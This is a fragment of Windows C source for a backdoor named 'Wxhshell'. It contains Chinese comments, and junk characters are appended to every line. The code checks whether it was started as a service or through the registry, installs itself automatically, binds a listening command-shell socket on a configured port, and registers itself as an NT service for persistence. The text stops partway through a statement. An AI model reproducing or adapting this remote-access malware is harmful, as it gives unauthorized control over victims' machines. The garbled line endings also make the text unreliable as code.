ULONG InheritedFromUniqueProcessId; )ac!@slb^7
} PROCESS_BASIC_INFORMATION; +NiCt S
/f AAQ7
PROCNTQSIP NtQueryInformationProcess; K(WKx7Kky^
N\rL ~4/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h b8L[ 4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y zmMF
v?%vB#A^
HANDLE hProcess; *O_^C
PROCESS_BASIC_INFORMATION pbi; 3Y&4yIx
=([4pG
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dt"&
if(NULL == hInst ) return 0; _8\B~;0
&rl;+QS
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); roBb8M|q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~_g{P3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @S>;t)\J
Ap4.c8f?Q-
if (!NtQueryInformationProcess) return 0; | :id/
)%lPKp4]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {2i8]Sp1d/
if(!hProcess) return 0; 33&\E- Q>
_c5*9')-)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4:/^ .:
QBN\wL8g
CloseHandle(hProcess); /{W6]6^
TNK1E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=*ur( Qy
if(hProcess==NULL) return 0; B<a` o&?
eg1F[~YL/
HMODULE hMod; ,(f W0d#
char procName[255]; -8<vW e
unsigned long cbNeeded; @~UQU)-(
;P/ 4.|<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GS}JyU
9jM7z/Ff
CloseHandle(hProcess); DVJn;X^T:
{];-b0MS~
if(strstr(procName,"services")) return 1; // 以服务启动 n+i=Ff
KD H<T4#x
return 0; // 注册表启动 :F@goiuC
} ErQ6a%~,
UP%6s:>:
// 主模块 "^;h'
int StartWxhshell(LPSTR lpCmdLine) 7T t!hf
{ ]]3rSXs2}J
SOCKET wsl; j]vEo~Bbh
BOOL val=TRUE; Nd{U|k3pL
int port=0; ;K%/sIIke
struct sockaddr_in door; Q;A\M
{t!7r_hj
if(wscfg.ws_autoins) Install(); %/5Wj_|p
NK(_ &.F
port=atoi(lpCmdLine); M CP GDr
y\Utm$)j
if(port<=0) port=wscfg.ws_port; ()F{kM8
1xkrhqq
WSADATA data; ZmNNR 1%/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W8;!rFW
B;W%P.<.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jIVD i~Ld
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2A:h&t/|C
door.sin_family = AF_INET; \xv(&94U
door.sin_addr.s_addr = inet_addr("127.0.0.1"); G.v(2~QFd
door.sin_port = htons(port); VxARJ*4=Y
k}NM]9EAE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P8ZmrtQm
closesocket(wsl); Y:, rN
return 1; ?:-:m'jdU
} K}^#VlY9
{IaDZ/XS6
if(listen(wsl,2) == INVALID_SOCKET) { '3WtpsKA
closesocket(wsl); ^w2 HF
return 1; n;Q8Gg2U
} cC NRv$IO\
Wxhshell(wsl); Ym!e}`A\F
WSACleanup(); Eh|,[D!E
BenyA:W"
return 0; XoL DqN!
I~@8SSO,vH
} %'Q2c'r
uoeZb=<
// 以NT服务方式启动 Zj'%c2U_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0\X<vrW
{ i1-%#YYF(
DWORD status = 0; /]MelW
DWORD specificError = 0xfffffff; %Ta"H3ZW
x\f~Gtt7Y
serviceStatus.dwServiceType = SERVICE_WIN32; Gn_DIFa
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (V]3w
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7v)p\#-
serviceStatus.dwWin32ExitCode = 0; kc't
serviceStatus.dwServiceSpecificExitCode = 0; X0$q!
serviceStatus.dwCheckPoint = 0; J p+'"a
serviceStatus.dwWaitHint = 0; ]sk=V.GGQ
}2Euz.0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \=bKuP(it
if (hServiceStatusHandle==0) return; tp>YsQy]8
19#>\9*
status = GetLastError(); >eQ.y-
4
if (status!=NO_ERROR) N&